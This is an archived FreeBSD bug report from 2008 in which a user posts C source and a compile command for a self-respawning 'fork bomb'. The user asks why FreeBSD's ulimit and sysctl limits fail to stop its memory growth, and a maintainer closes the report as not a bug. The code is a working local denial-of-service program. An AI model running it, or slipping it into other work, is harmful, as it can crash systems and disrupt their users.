From nobody@FreeBSD.org  Fri Mar 21 23:50:19 2008
Return-Path: <nobody@FreeBSD.org>
Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34])
	by hub.freebsd.org (Postfix) with ESMTP id 6B79B1065689
	for <freebsd-gnats-submit@FreeBSD.org>; Fri, 21 Mar 2008 23:50:19 +0000 (UTC)
	(envelope-from nobody@FreeBSD.org)
Received: from www.freebsd.org (www.freebsd.org [IPv6:2001:4f8:fff6::21])
	by mx1.freebsd.org (Postfix) with ESMTP id C8CE98FC63
	for <freebsd-gnats-submit@FreeBSD.org>; Fri, 21 Mar 2008 23:50:18 +0000 (UTC)
	(envelope-from nobody@FreeBSD.org)
Received: from www.freebsd.org (localhost [127.0.0.1])
	by www.freebsd.org (8.14.2/8.14.2) with ESMTP id m2LNoDlk096168
	for <freebsd-gnats-submit@FreeBSD.org>; Fri, 21 Mar 2008 23:50:13 GMT
	(envelope-from nobody@www.freebsd.org)
Received: (from nobody@localhost)
	by www.freebsd.org (8.14.2/8.14.1/Submit) id m2LNoDC5096167;
	Fri, 21 Mar 2008 23:50:13 GMT
	(envelope-from nobody)
Message-Id: <200803212350.m2LNoDC5096167@www.freebsd.org>
Date: Fri, 21 Mar 2008 23:50:13 GMT
From: "Micha&#322; Garbowski" <garbus@op.pl>
To: freebsd-gnats-submit@FreeBSD.org
Subject: Fork bomb, who can always stop system.
X-Send-Pr-Version: www-3.1
X-GNATS-Notify:

>Number:         121949
>Category:       kern
>Synopsis:       Fork bomb, who can always stop system.
>Confidential:   no
>Severity:       serious
>Priority:       high
>Responsible:    freebsd-bugs
>State:          closed
>Quarter:        
>Keywords:       
>Date-Required:  
>Class:          sw-bug
>Submitter-Id:   current-users
>Arrival-Date:   Sat Mar 22 00:00:08 UTC 2008
>Closed-Date:    Sat Mar 22 10:41:12 UTC 2008
>Last-Modified:  Sat Mar 22 10:41:12 UTC 2008
>Originator:     Micha&#322; Garbowski
>Release:        7.0-STABLE FreeBSD 7.0-STABLE #1: Thu Mar 13 08:34:01 CET 2008
>Organization:
-
>Environment:
FreeBSD em 7.0-STABLE FreeBSD 7.0-STABLE #1: Thu Mar 13 08:34:01 CET 2008     root@em:/usr/obj/usr/src/sys/GENERIC  i386

>Description:
Program - fork bomb - like this:

forkbomb.c

 #include <stdlib.h> 
 #include <stdio.h> 
 
 int main(void); 
 int zonk(void); 
 
 int zonk (void) 
     { 
       int i=0;
       while (1) 
           { 
             char* zonk; 
             i=i+4; 
             zonk=malloc(i); 
             printf("%d\n",i); 
             system("ping -s 56 -c 1 localhost > /dev/null && screen -m -d -s ~/kaboom > /dev/null"); 
             wait(10); 
           } 
       return 0; 
     } 
 int main (void) 
     { 
       zonk(); 
       return 0; 
     }

Compiled as: cc -o ~/kaboom forkbomb.c

Can stop freebsd, with limist:

$ ulimit -a 
 core file size          (blocks, -c) 1024 
 data seg size           (kbytes, -d) 4096 
 file size               (blocks, -f) 1478656 
 max locked memory       (kbytes, -l) 4096 
 max memory size         (kbytes, -m) 8192 
 open files                      (-n) 2599 
 pipe size            (512 bytes, -p) 1 
 stack size              (kbytes, -s) 1024 
 cpu time               (seconds, -t) 86400 
 max user processes              (-u) 50 
 virtual memory          (kbytes, -v) 32768 

$ cat /etc/sysctl.conf 
 security.bsd.see_other_uids=0 
 kern.maxprocperuid=50 
 net.inet.tcp.msl=7500 
 net.inet.tcp.blackhole=2 
 net.inet.udp.blackhole=1 
 net.inet.icmp.icmplim=50

When I start:

screen -m -d -s ~/kaboom

fBSD gives memory in spite of all limits. Is there any limit, which can stop adding memory for that forks ?

My server has:
200 MB Ram memory,
128 MB Swap memory.

>How-To-Repeat:
I don't know.

>Fix:
I don't know.


>Release-Note:
>Audit-Trail:
State-Changed-From-To: open->closed 
State-Changed-By: remko 
State-Changed-When: Sat Mar 22 10:41:10 UTC 2008 
State-Changed-Why:  
This is not a bug, please seek help on the Questions mailinglist 
(http://lists.freebsd.org/mailman/listinfo/freebsd-questions/) , thanks! 

http://www.freebsd.org/cgi/query-pr.cgi?pr=121949 
>Unformatted:
